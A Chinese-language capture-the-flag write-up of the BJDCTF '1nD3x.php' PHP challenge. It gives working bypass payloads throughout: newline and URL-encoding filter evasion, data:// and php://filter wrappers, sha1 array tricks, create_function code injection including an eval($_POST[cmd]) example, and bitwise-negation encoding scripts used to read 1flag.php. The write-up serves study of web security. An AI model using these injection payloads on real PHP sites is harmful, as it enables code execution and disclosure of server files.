知识点:creat_function代码注入,异或,require加伪协议,define()+fopen()+fgets(),换行绕过,sha()比较,正则匹配绕过等等
这个题目我在BUU上解题的时候,有个地方总是绕不过去,可能是环境有点问题,所以在本地进行了环境搭建用来复现题目。复现参照Y1ng
师傅的wp,Y1ng
师傅yyds
文章目录
解题过程
在f12中,找到提示
GFXEIM3YFZYGQ4A=
进行base32解码操作,得到1nD3x.php
打开
1nD3x.php
后,可以得到源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
接下来慢慢对题目代码进行分析
1. $_SERVER[‘QUERY_STRING’]
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
截图下大佬的文章,文章链接:详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别
这个正则匹配很不友好,过滤了很多关键词,比如passwd这样的参数也被过滤了,因为$_SERVER['QUERY_STRING']
不会进行urldecode,而$_GET[]
会,所以可以使用url编码
绕过
2. %0a换行绕过
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
正则匹配中,^
匹配字符串头部,$
匹配字符串尾部,但是又允许debu!==aqua_is_cute
。preg_match
只匹配一行,可以使用%0a
换行污染绕过
?debu=aqua_is_cute%0a
3. 绕过英文字母匹配
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
这段代码使用foreach
循环遍历$_REQUEST
数组,把值赋给value
,通过正则匹配进行大小写字母的检验,如果value
存在大小写字母,则die()
这个可以使用两个绕过方法:
- 一个是
$_REQUEST
同时接收GET和POST的数据时,会有一个优先级的顺序,用下出题人Y1ng
师傅的讲解:文章传送门
也就是,GET和POST同时传入相同的参数,$_REQUEST
会根据php.ini中的设置,优先读取其中一个,二者是竞争关系。所以可以根据这个特性,可同时传"无毒"的同名参数
进去,这样$_REQUEST
读取到的数据就是没有毛病的,不会die().
payload:
GET传参:debu=aqua_is_cute
POST传参:debu=1
$_REQUEST
获取请求参量,不支持数组,接下来我们传的参数是数组,故可以不用管。
4. data伪协议
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
这段代码要求读取一个file
(文件名可控),但是文件内容是debu_debu_aqua
找不到这样一个文件,又不能上传一个,正则过滤了http
也不能远程文件包含,所以可以构造一个$file
使用data://伪协议
file=data://text/plain,debu_debu_aqua
5. 绕过sha1()比较
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1()无法处理数组对象,如果传入两个数组参数,都返回false,就可以实现===
;同时传入的参数又不相同
payload:
shana[]=1&passwd[]=2
6. create_function()代码注入
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
6.1 extract()
本题中传参flag是个数组,flag[code]
和flag[arg]
<?php
$flag[code] = "1";
$flag[arg] = "2";
extract($flag);
echo $code."\n";
echo $arg;
结果:
1
2
[Done] exited with code=0 in 0.12 seconds
6.2 creat_function()
一个正常的creat_function()
功能,实现一个简单的加法函数
<?php
$func = create_function('$a,$b','return ($a+$b);');
print($func(1,2));
回显:
3
但是这个东西是有漏洞的,比如
<?php
$func = create_function('$a,$b','return ($a+$b);}eval($_POST[cmd]);//');
print($func(1,2));
那么实际执行的func
函数是
<?php
function func($a,$b){
return $a+$b;
}
eval($_POST[cmd]);//}
其中//
是屏蔽后面的}
使得没有语法错误
本地实验一下
6.3 preg_match的模式修饰符
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
注意一下preg_match('/^[a-z0-9]*$/isD', $code)
,creat_function中含有_
可以绕过,模式修饰符的含义如下,官方链接:模式修饰符传送门
7. 真假flag
还是要分析一下
include "flag.php";
$code('', $arg);
我们包含了flag文件之后,但是看不到flag值,所以需要creat_function
来将flag参数值表示出来。但是arg
过滤了太多了,像cat
,eval
等都过滤了,但是可以使用get_defined_vars()
来输出所有的变量和值。
payload:
GTE传参
/1nD3x.php?debu=aqua_is_cute
&shana[]=1&passwd[]=2&file=data://text/plain,debu_debu_aqua&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function
url编码后
/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function
&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//
POST传参
debu=1&file=1
但是这样得到的是假的flag,但是也提示了真的flag是1flag.php
所以既需要包含1flag.php
,也需要进行变量输出
7.1 base64_decode(不适用BJDCTF)
一个思路是require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//
代替var_dump(get_defined_vars());//
但是本题code
被过滤了,记录一下这个解法
7.2 异或操作(不适用BJDCTF)
arg
没有过滤require
函数
//Author: Sk1y
import string
import math
a = '1flag.php' #show_source phpinfo
str1=''
str2=''
str3=''
for i in a:
j = ord(i)#转ascii码
j = 0xff^j#进行异或操作
k = hex(j)#进行十六进制转码操作
str1 = str1 + '%' + k[2] + k[3]
str3 = str3 + '%ff'
str2 = str2 + k
#print(str1)
#print(str2)
str3 = str1 + '^' + str3
print(str3)
上面的代码自己瞎写的,有些冗余
贴一下Y1ng
师傅的脚本:
<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$flag = "1 f l a g . p h p";
$arr = explode(' ', $flag);
foreach ($arr as $key => $value) {
echo "%".dechex(ord($value)^0xff);
}
echo "^";
foreach ($arr as $key => $value) {
echo "%ff";
}
但是本题过滤了^
,所以不太适合本题,记录一下解法
7.3 require()+伪协议(预期解)
上面提到的异或,因为过滤了^
,所以不能使用。但是可以使用url编码取反操作,脚本和上面的类似,稍微有所不同
//Author: Sk1y
import string
import math
a = 'php://filter/read=convert.base64-encode/resource=1flag.php' #show_source phpinfo
str1=''
str2=''
str3=''
for i in a:
j = ord(i)#转ascii码
j = 0xff^j#进行异或操作
k = hex(j)#进行十六进制转码操作
str1 = str1 + '%' + k[2] + k[3]
str3 = str3 + '%ff'
str2 = str2 + k
#print(str1)
#print(str2)
str3 = str1 + '^' + str3
print(str3) #异或操作
print('~'+str1) #取反操作
结果
~%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f
在Y1ng
师傅的wp那里了解到~
之后可以不用加括号,即require(~(%...))
和require(~%..)
作用是一样的,可以得到
%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f));//
将得到的字符串进行base64解码
此为自己复现的题目,flag是瞎编的。。
7.4 非预期解1 define()+fopen()+fgets()
涨知识了,shana
师傅np
define(aaa,fopen(~(%ce%99%93%9e%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);//
`$file = fopen(“test.txt”,“r”);
“r” (只读方式打开,将文件指针指向文件头)
fgets() 函数从文件指针中读取一行。
feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。
测试结果
7.5 非预期解2 rdd师傅和P3rh4ps师傅
rdd师傅的
%66%6c%61%67[%61%72%67]=;}var_dump(get_defined_vars());var_dump(require(end(pos(get_defined_vars()))));//&rdd=%70%68%70://%66%69%6c%74%65%72/%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/%72%65%73%6f%75%72%63%65=%31%66%6c%61%67%2e%70%68%70
回显
解码的时候,将
int(1)
去掉,具体为啥回出现这个int(1)
还没想到,,,有懂的大佬可以讲讲
参考链接
总结:
从这个题目学到了很多东西,学到了好几中操作,加油
(ง •_•)ง